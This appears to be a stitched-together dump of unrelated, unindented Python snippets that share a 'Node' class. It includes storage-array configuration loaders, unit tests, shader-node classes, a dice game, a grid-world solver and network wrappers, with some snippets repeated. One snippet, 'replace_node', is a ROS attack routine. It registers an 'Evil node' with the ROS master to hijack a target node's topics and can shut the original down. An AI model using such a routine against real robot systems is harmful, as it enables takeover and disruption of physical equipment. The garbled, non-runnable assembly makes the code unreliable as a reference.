def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
self.arrays = []
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "ibmsvc":
continue
try:
username = self.node.oget(s, 'username')
key = self.node.oget(s, 'key')
except:
print("error parsing section", s, file=sys.stderr)
continue
self.arrays.append(IbmSvc(name, username, key, node=self.node))
def __init__ ( self, xml_node = None ) : # Node.__init__( self, xml_node ) if xml_node is None : self.type = 'connector' self.name = self.label = self.type if DEBUG_MODE : print ( ">> ConnectorNode( %s ).__init__" % self.label )
def __call__(self, argv=None):
"""
Instanciate a Node object.
Call the real deal making sure the node is finally freed.
"""
ret = 0
if self.node is None:
try:
self.node = Node()
except Exception as exc:
print(exc, file=sys.stderr)
return 1
check_privs()
try:
ret = self._main(argv=argv)
except ex.Error as exc:
print(exc, file=sys.stderr)
return 1
except ex.Version as exc:
print(exc)
return 0
except KeyboardInterrupt:
return 1
finally:
self.node.close()
if ret is None:
ret = 0
return ret
def __init__ ( self, xml_node = None ): # Node.__init__( self, xml_node ) self.imageName = '' print ">> ImageNode __init__"
def test_node_delete_parent(self):
n = Node()
parent = Node()
n.parent = parent
self.assertEqual(n.parent, parent)
n.parent = None
self.assertEqual(n.parent, None)
def __init__ ( self, xml_node = None ) :
#
Node.__init__( self, xml_node )
if xml_node is None :
self.type = 'connector'
self.name = self.label = self.type
if DEBUG_MODE : print ">> ConnectorNode( %s ).__init__" % self.label
def main(argv=None):
if argv is None:
argv = sys.argv
else:
argv.insert(0, __file__)
try:
node = Node()
except Exception as exc:
print(exc, file=sys.stderr)
return 1
try:
_main(node, argv)
return 0
except ex.Error as e:
if str(e):
print(e, file=sys.stderr)
return 1
except KeyboardInterrupt:
sys.stderr.write("Keybord Interrupt\n")
return 1
finally:
node.close()
return 0
def test_node_add_multiple_children_then_delete_one(self):
n = Node()
left = Node("left")
right = Node("right")
n.add_child(left)
n.add_child(right)
n.remove_child("left")
self.assertEqual(n.children, dict(right=right))
def test_suicide_with_invalid_method_log_warning(mocker):
node = Node()
mocker.patch.object(node.log, 'warning')
node.suicide(method="invalid_split_action", delay=6)
expected_warning_calls = [
call('invalid commit suicide method %s', 'invalid_split_action'),
]
node.log.warning.assert_has_calls(expected_warning_calls)
def __init__(self, **kwargs):
logging.info('Bridge.__init__: entry:\n{}'.format(
pprint.PrettyPrinter().pformat(kwargs)))
Node.__init__(self, **kwargs)
self._ssh_credentials = kwargs.get('ssh_credentials')
self._ip = kwargs.get('ssh_address')
def run(self, restrict, pt=False):
up_n = self.noise[0]
left_n = self.noise[1]
right_n = self.noise[2]
if len(self.noise) > 3:
down_n = self.noise[3]
else:
down_n = 0
# Init table
for row in range(0, self.size):
for col in range(0, self.size):
if self.table[row][col] is None:
self.table[row][col] = Node(0, 0, 0, 0, terminal=False)
else:
value = self.table[row][col]
self.table[row][col] = Node(value, value, value, value, terminal=True)
self.print_table()
print()
stable = False
while not stable:
r = 0
c = 0
temp_table = copy.deepcopy(self.table)
for row in temp_table:
for col in row:
col: Node
if col.terminal is not True:
# Relative up (Main direction always is up)
for i in range(0, 4):
col.set_dir(i)
col.score[i] = self.gamma * (self.find(r, c, col.d_up) * up_n
+ self.find(r, c, col.d_left) * left_n
+ self.find(r, c, col.d_right) * right_n
+ self.find(r, c, col.d_down) * down_n)
col.go_opt_dir()
c += 1
c = 0
r += 1
# Check stable
delta = 0
for row in range(0, self.size):
for col in range(0, self.size):
delta += temp_table[row][col].opt_score - self.table[row][col].opt_score
if delta < restrict:
stable = True
self.table = temp_table
if pt is True:
self.print_table()
time.sleep(0.5)
print()
self.count += 1
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
try:
name = self.node.oget(s, "name")
except Exception:
name = None
if not name:
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "hds":
continue
try:
bin = self.node.oget(s, 'bin')
jre_path = self.node.oget(s, 'jre_path')
url = self.node.oget(s, 'url')
username = self.node.oget(s, 'username')
password = self.node.oget(s, 'password')
except Exception as exc:
print("error parsing section %s: %s" % (s, exc),
file=sys.stderr)
continue
try:
secname, namespace, _ = split_path(password)
password = factory("sec")(secname,
namespace=namespace,
volatile=True).decode_key("password")
except Exception as exc:
print("error decoding password: %s", exc, file=sys.stderr)
continue
self.arrays.append(
Array(name,
url,
username,
password,
bin=bin,
jre_path=jre_path,
node=self.node))
done.append(name)
def __init__ ( self, xml_node = None ) :
#
Node.__init__ ( self, xml_node )
if xml_node is None :
self.type = 'nodegroup'
self.name = self.label = self.type
self.nodenet = NodeNetwork ()
if DEBUG_MODE : print '>> GroupNode( %s ).__init__' % self.label
class Arrays(object):
arrays = []
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
try:
name = self.node.oget(s, "name")
except Exception:
name = None
if not name:
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "xtremio":
continue
try:
api = self.node.oget(s, 'api')
username = self.node.oget(s, 'username')
password = self.node.oget(s, 'password')
except:
print("error parsing section", s, file=sys.stderr)
continue
try:
secname, namespace, _ = split_path(password)
password = factory("sec")(secname, namespace=namespace, volatile=True).decode_key("password")
except Exception as exc:
print("error decoding password: %s", exc, file=sys.stderr)
continue
self.arrays.append(Array(name, api, username, password, node=self.node))
done.append(name)
def __iter__(self):
for array in self.arrays:
yield(array)
def get_array(self, name):
for array in self.arrays:
if array.name == name:
return array
return None
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
name = s.split("#", 1)[-1]
if name in done:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "eva":
continue
try:
manager = self.node.oget(s, 'manager')
username = self.node.oget(s, 'username')
password = self.node.oget(s, 'password')
sssubin = self.node.oget(s, 'bin')
except Exception as exc:
print("error parsing section %s: %s" % (s, exc),
file=sys.stderr)
pass
try:
secname, namespace, _ = split_path(password)
password = factory("sec")(secname,
namespace=namespace,
volatile=True).decode_key("password")
except Exception as exc:
print("error decoding password: %s", exc, file=sys.stderr)
continue
out, err = sssu('ls system',
manager,
username,
password,
sssubin=sssubin)
_in = False
for line in out.split('\n'):
if 'Systems avail' in line:
_in = True
continue
if not _in:
continue
name = line.strip()
if self.filtering and name not in self.objects:
continue
self.arrays.append(
Eva(name, manager, username, password, sssubin=sssubin))
done.append(name)
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
if len(objects) > 0:
self.filtering = True
else:
self.filtering = False
self.arrays = []
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "centera":
continue
try:
server = self.node.oget(s, "server")
username = self.node.oget(s, "username")
password = self.node.oget(s, "password")
jcass_dir = self.node.oget(s, "jcass_dir")
java_bin = self.node.oget(s, "java_bin")
except:
print("error parsing section", s, file=sys.stderr)
try:
secname, namespace, _ = split_path(password)
password = factory("sec")(secname,
namespace=namespace,
volatile=True).decode_key("password")
except Exception as exc:
print("error decoding password: %s", exc, file=sys.stderr)
continue
self.arrays.append(
Centera(name,
server=server,
username=username,
password=password,
java_bin=java_bin,
jcass_dir=jcass_dir,
node=self.node))
done.append(name)
def test_tree_print_with_two_children(self):
root = Node(name="first_level")
t = Tree(root=root, name="root")
left = Node(name="second_level_one")
right = Node(name="second_level_two")
t.root.add_child(left)
t.root.add_child(right)
expected = (
"<Tree 'root'>\n<Node first_level>\n\t<Node second_level_one>\n\t")
expected += "<Node second_level_two>" # ...
self.assertEqual(str(t), expected)
class IbmDss(object):
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
self.arrays = []
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "ibmds":
continue
pwfile = os.path.join(Env.paths.pathvar, s + '.pwfile')
if not os.path.exists(pwfile):
raise ex.Error(
"%s does not exists. create it with 'dscli managepwfile ...'"
% pwfile)
try:
username = self.node.oget(s, "username")
hmc1 = self.node.oget(s, "hmc1")
hmc2 = self.node.oget(s, "hmc2")
except Exception as exc:
print("error parsing section %s: %s" % (s, exc),
file=sys.stderr)
continue
self.arrays.append(
IbmDs(name, hmc1, hmc2, username, pwfile, node=self.node))
done.append(name)
def __iter__(self):
for array in self.arrays:
yield (array)
def get(self, array):
for o in self.arrays:
if o.name == array:
return o
raise ex.Error(
"%s not defined in the node/cluster configuration, or is not usable"
% array)
def main(argv=None):
node = Node()
try:
return _main(node, argv=argv)
except ex.Error as exc:
print(exc, file=sys.stderr)
return 1
except ex.Version as exc:
print(exc)
return 0
finally:
node.close()
def test_node_add_then_get_children(self):
n = Node()
left = Node()
right = Node()
n.add_child(left)
n.add_child(right)
self.assertEqual(set(n.children.values()), set([left, right]))
def __init__(self, head, log=None, node=None):
self.object_type_cache = {}
self.head = head
self.auto_prefix = "svc:/system/filesystem/zfs/auto-sync:"
self.username = None
self.password = None
self.port = 2000
if node:
self.node = node
else:
self.node = Node()
if log is not None:
self.log = log
else:
self.log = self.node.log
def __init__(self, **kwargs):
logging.info('OVS.Port.__init__: entry:\n{}'.format(
pprint.PrettyPrinter().pformat(kwargs)))
port_data = kwargs.pop('port_data')
kwargs['name'] = port_data['name']
kwargs['id'] = str(port_data['_uuid'])
kwargs['metadata'] = port_data
Node.__init__(self, **kwargs)
self._ssh_credentials = kwargs.get('ssh_credentials')
self._ip = kwargs.get('ssh_address')
self._interfaces = None
class Game: def __init__(self): self.dices = [] self.startGame() self.root.printTree() self.result = self.root.bestResult() def startGame(self): self.root = Node(None, self.initBoard(),0) self.gameLoop() def gameLoop(self): done = False while not done: done = self.root.play(self.getRoll()) def getRoll(self): total = 0 for dice in self.dices: total += dice.roll() return total def initBoard(self): for x in range(0,2): self.dices.append(Dice()) tiles = [] for x in range(1,13): tiles.append(x) return tiles
class Game:
def __init__(self):
self.dices = []
self.startGame()
self.root.printTree()
self.result = self.root.bestResult()
def startGame(self):
self.root = Node(None, self.initBoard(), 0)
self.gameLoop()
def gameLoop(self):
done = False
while not done:
done = self.root.play(self.getRoll())
def getRoll(self):
total = 0
for dice in self.dices:
total += dice.roll()
return total
def initBoard(self):
for x in range(0, 2):
self.dices.append(Dice())
tiles = []
for x in range(1, 13):
tiles.append(x)
return tiles
def __init__(self, **kwargs):
logging.info('OVS.Interface.__init__: entry:\n{}'.format(
pprint.PrettyPrinter().pformat(kwargs)))
intf_data = kwargs.pop('interface_data')
kwargs['name'] = intf_data['name']
kwargs['id'] = intf_data['_uuid']
kwargs['metadata'] = intf_data
Node.__init__(self, **kwargs)
self._ssh_credentials = kwargs.get('ssh_credentials')
self._ip = str(kwargs.get('ssh_address'))
self._type = self.metadata['type']
self._ifindex = self.metadata.get('ifindex', None)
def _get_node_from_file(self):
try:
line = self._file.next()
except (StopIteration):
return
ip, str_port = line.split()
return Node((ip, int(str_port)))
def scan(self, node=None):
from core.objects.svcdict import SECTIONS
from utilities.drivers import iter_drivers
if node is None:
from core.node import Node
node = Node()
data = self.scan_generic()
data += self.scan_os()
for mod in iter_drivers(SECTIONS):
if not hasattr(mod, DRIVER_CAP_FN):
if hasattr(mod, "DRIVER_GROUP") and hasattr(
mod, "DRIVER_BASENAME"):
# consider the driver active by default
data += [
"%s%s.%s" % (DRIVER_CAP_PREFIX, mod.DRIVER_GROUP,
mod.DRIVER_BASENAME)
]
continue
try:
data += [
DRIVER_CAP_PREFIX + cap
for cap in getattr(mod, DRIVER_CAP_FN)(node=node)
]
except Exception as exc:
print(mod, exc, file=sys.stderr)
data = sorted([cap for cap in set(data)])
with open(Env.paths.capabilities, "w") as f:
json.dump(data, f)
return data
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
self.timeout = 10
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
try:
name = self.node.oget(s, 'name')
except Exception:
name = None
if not name:
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "dorado":
continue
timeout = self.node.oget(s, "timeout")
try:
username = self.node.oget(s, "username")
password = self.node.oget(s, "password")
api = self.node.oget(s, "api")
except:
print("error parsing section", s, file=sys.stderr)
continue
try:
secname, namespace, _ = split_path(password)
password = factory("sec")(secname,
namespace=namespace,
volatile=True).decode_key("password")
except Exception as exc:
print("error decoding password: %s", exc, file=sys.stderr)
continue
self.arrays.append(
Dorado(name, api, username, password, timeout, node=self.node))
done.append(name)
class Netapps(object):
def __init__(self, objects=None, node=None):
if objects is None:
objects = []
self.objects = objects
self.filtering = len(objects) > 0
self.arrays = []
if node:
self.node = node
else:
self.node = Node()
done = []
for s in self.node.conf_sections(cat="array"):
name = s.split("#", 1)[-1]
if name in done:
continue
if self.filtering and name not in self.objects:
continue
try:
stype = self.node.oget(s, "type")
except:
continue
if stype != "netapp":
continue
kwargs = {"node": self.node}
for key in ("server", "username", "key"):
try:
kwargs[key] = self.node.oget(s, key)
except:
print("missing parameter: %s", s)
if "server" not in kwargs or "username" not in kwargs or "key" not in kwargs:
continue
try:
secname, namespace, _ = split_path(kwargs["password"])
kwargs["password"] = factory("sec")(
secname, namespace=namespace,
volatile=True).decode_key("password")
except Exception as exc:
print("error decoding password: %s", exc, file=sys.stderr)
continue
self.arrays.append(Netapp(s, **kwargs))
def __iter__(self):
for array in self.arrays:
yield (array)
def test_create_call_node_create_service(mocker, mock_sysname, sysname):
mock_sysname(sysname)
node_create_service = mocker.patch.object(Node,
'create_service',
return_value=None)
assert Mgr(selector='svc1', node=Node())(["create"]) == 0
assert node_create_service.call_count == 1
def test_respect_hook_result(mocker, has_node_config, hook, value,
reboot_counts, expected_exit_code):
_reboot = mocker.patch.object(Node, '_reboot')
open(Node().paths.reboot_flag, 'w+')
mocker.patch('core.node.node.assert_file_is_root_only_writeable')
assert commands.node.main(
argv=["set", "--kw", "reboot.%s=%s" % (hook, value)]) == 0
assert commands.node.main(
argv=["auto", "reboot"]) == expected_exit_code
assert _reboot.call_count == reboot_counts
def __init__(self, pop):
# population correspondant à l'individu
self.population = pop
# Création de l'arbre de décision associé à l'individu
self.decision_tree = Node()
self.current_node = None
self.notify = False
self.notify_drown = False
self.inside_tree = False
self.last_coord = (0, 0)
self.shoot_nb = 0
def replace_node(target_node: Node,
node_name: str,
new_ip: str = "",
new_port: str = "0",
alert_master=False,
kill_original=False):
"""
Replace a node with an attacker controlled Node. Can optionally kill the original
:param target_node: Node to replace
:param node_name: The name to give for ros exploits
:param new_ip: IP address for the node to use if blank the node will be created on local host
:param new_port: Port for the node to use. If 0 the node will open a port first
:param alert_master: Boolean value. If true replace the node in the masters graph, if false updates to the state
do not reach the new node
:param kill_original: Boolean Value. If true kill the original node as part of execution
:return:
"""
new_node = Node(ip_addr=new_ip, port=new_port, notes="Evil node")
node_uri = "http://" + new_ip + ":" + new_port
target_node.get_pub_list(node_name=node_name)
target_node.get_pub_list(node_name=node_name)
# TODO: Let the other nodes know about the replacement
for topic in target_node.pub_topics:
new_node.pub_topics.append(copy.copy(topic))
for topic in target_node.sub_topics:
new_node.sub_topics.append(copy.copy(topic))
if alert_master:
(_, _, master_url) = target_node.server.getMasterUri(node_name)
master = xmlrpc.client.ServerProxy(master_url)
for topic in new_node.pub_topics:
master.registerPublisher(node_name, topic.name, topic.message_type,
node_uri)
# TODO: Create connections to subscriber
for topic in new_node.sub_topics:
master.registerSubscriber(node_name, topic.name,
topic.message_type, node_uri)
if kill_original:
target_node.server.shutdown(node_name, "")
def main(options, args):
id_str, ip, port_str = args
port = int(port_str)
node_to_extract = Node((ip, port), Id(id_str))
table_extractor = TableExtractor(node_to_extract)
logs_path = os.path.join(os.path.expanduser('~'), '.pymdht')
logging_conf.setup(logs_path, logging.DEBUG)
reactor = minitwisted.ThreadedReactor(table_extractor.main_loop, 7000,
table_extractor.on_datagram_received)
reactor.start()
time.sleep(30)
def __init__ ( self, xml_node = None ) : # Node.__init__ ( self, xml_node ) self.ribName = ''
def __init__(self, **kwargs):
logging.info('openstack.node.__init__: entry:\n{}'.format(pprint.PrettyPrinter().pformat(kwargs)))
Node.__init__(self, **kwargs)
def __init__ ( self, xml_node = None ): # Node.__init__ ( self, xml_node ) self.shaderName = '' print ">> RSLNode __init__"
def copySetup ( self, newNode ) : # if DEBUG_MODE : print '>> GrouphNode( %s ).copySetup ' % self.label Node.copySetup ( self, newNode ) newNode.nodenet = self.nodenet.copy ()
def __init__ ( self, xml_node = None ) : # Node.__init__ ( self, xml_node ) self.imageName = '' if DEBUG_MODE : print ( '>> ImageNode( %s ).__init__' % self.label )
def __init__ ( self, xml_node = None ) : # Node.__init__ ( self, xml_node ) self.shaderName = ''
def startGame(self): self.root = Node(None, self.initBoard(),0) self.gameLoop()
def __init__ ( self, xml_node = None ) : # Node.__init__( self, xml_node ) if DEBUG_MODE : print ">> NoteNode __init__"
def load(self, location: bytes):
node = Node.from_bytes(self.database[location])
self.cache[location] = node
def add(self, node: Node):
"""Add a node to the current database."""
save = node.to_bytes()
self.database[node.sha] = save
self.cache[node.sha] = node
def __init__ ( self, xml_node = None ): # Node.__init__ ( self, xml_node ) self.ribName = '' print ">> RIBNode __init__"
def __init__(self, **kwargs):
logging.info('onos.Controller.__init__: entry:\n{}'.format(pprint.PrettyPrinter().pformat(kwargs)))
Node.__init__(self, **kwargs)
